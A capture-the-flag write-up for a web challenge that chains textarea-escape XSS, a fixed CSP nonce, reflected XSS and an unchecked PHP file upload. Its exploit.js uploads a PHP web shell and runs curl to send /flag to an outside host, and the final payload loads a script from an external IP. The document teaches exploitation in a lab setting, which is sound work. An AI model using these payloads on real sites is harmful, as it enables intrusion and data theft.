docker-compose.yml
Docker-compose is build in a way that
- private has flag in
/flag
- redis / worker are used. this is only used for admin to check the challenge.
- redis has nothing to do with the challenge itself. (i) flag is not available here (ii) it does not have connection with private.
- worker can connect to public, private, redis.
worker.js
It does nothing much here. it just authenticates and checks your messages.
await page.goto('http://public/');
await page.waitFor('#username');
await page.type('#username', admin_username);
await page.waitFor('#password');
await page.type('#password', admin_password);
await page.waitFor('#login-button');
await Promise.all([
page.$eval('#login-button', elem => elem.click()),
page.waitForNavigation()
]);
<
and>
is not filtered when the user asks to admin. We can easily see this when we check thecomment_guestbook
code.
function comment_guestbook($id, $comment){
...
if(stripos($comment, "<") !== false ||
stripos($comment, ">") !== false){
die("xss blocked");
}
$update_comment = [
"comment" => $comment
];
$guestbook->where('_id', '=', $id)->update($update_comment);
...
}
function ask_guestbook($question){
...
$insert_question = [
"username" => (string)$_SESSION['username'],
"question" => $question,
"comment" => "",
];
$result = $guestbook->insert($insert_question);
...
}
- Let's check how admin reads your post.
<table class="table table-striped table-hover">
<tbody id="board_list">
<tr>
<td><textarea class="form-control" disabled><?php echo $result['question']; ?></textarea></td>
</tr>
</tbody>
</table>
It just renders your question on <textarea>
. We can escape the textarea by asking questions like </textarea> ...
- XSS is blocked but can be bypassed.
header('X-Frame-Options: DENY');
header('X-XSS-Protection: 1; mode=block;');
header("Content-Security-Policy: default-src 'self' 'nonce-script'; object-src 'none'; base-uri 'none'; trusted-types");
CSP is used, however it uses the nonce-script
.
As you've noticed, it does not randomize the nonce.
Because of this, you can just execute script on admin by asking the following question
</textarea><script nonce=script>....</script>
You can let the admin to move to the internal page by using the following payload.
</textarea><script nonce=script>location.href=`http://private/`;</script>
You don't have to guess for the IP address of the private
as docker-compose automatically maps the network for you.
- Reflected XSS in index.php
<html>
<body>
<form action="upload.php" method="post" enctype="multipart/form-data">
<input type="name" name="your_name" value="<?php echo $_GET['your_name']; ?>">
Select image to upload:
<input type="file" name="fileToUpload" id="fileToUpload">
<input type="submit" value="Upload Image" name="submit">
</form>
</body>
</html>
It just renders your input. You can use this to load your own script.
2-1. Bypass image check
Let's check the upload.php
// Check if image file is a actual image or fake image
if(isset($_POST["submit"])) {
$check = getimagesize($_FILES["fileToUpload"]["tmp_name"]);
if($check !== false) {
echo "File is an image - " . $check["mime"] . ".";
$uploadOk = 1;
} else {
echo "File is not an image.";
$uploadOk = 0;
}
}
This can be easily bypassed when you don't pass in $_POST["submit"]
2-2. File upload is done without any extension check.
// Check if $uploadOk is set to 0 by an error
if ($uploadOk == 0) {
echo "Sorry, your file was not uploaded.";
// if everything is ok, try to upload file
} else {
if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
echo "The file ". htmlspecialchars(basename($_FILES["fileToUpload"]["name"])). " has been uploaded.";
} else {
echo "Sorry, there was an error uploading your file.";
}
}
It does not check any extension.
You just need to use FormData
and Blob
object to upload an arbitrary file and trigger code execution.
curl
command can be used to get /flag
.
exploit.js
var blob = new Blob(["<pre><?php $_GET[cmd]($_GET[arg]); ?></pre>"], {type: "image/png"});
var fd = new FormData();
fd.append('fileToUpload', blob, "stypr_test_exp_1337.php");
var request = new XMLHttpRequest();
request.open("POST", "upload.php");
request.send(fd);
setTimeout("location.href='uploads/stypr_test_exp_1337.php?cmd=system&arg=curl+http://harold.kim:1234/$(cat /flag)+2>%261'", 1000);
question
</textarea><script nonce=script>location.href=`http://private/?your_name=%22%3E%3Cscript+src=http://158.101.144.10/xss-ctf-1/xss-bingo-bingo.js%3E%3C/script%3E`;</script>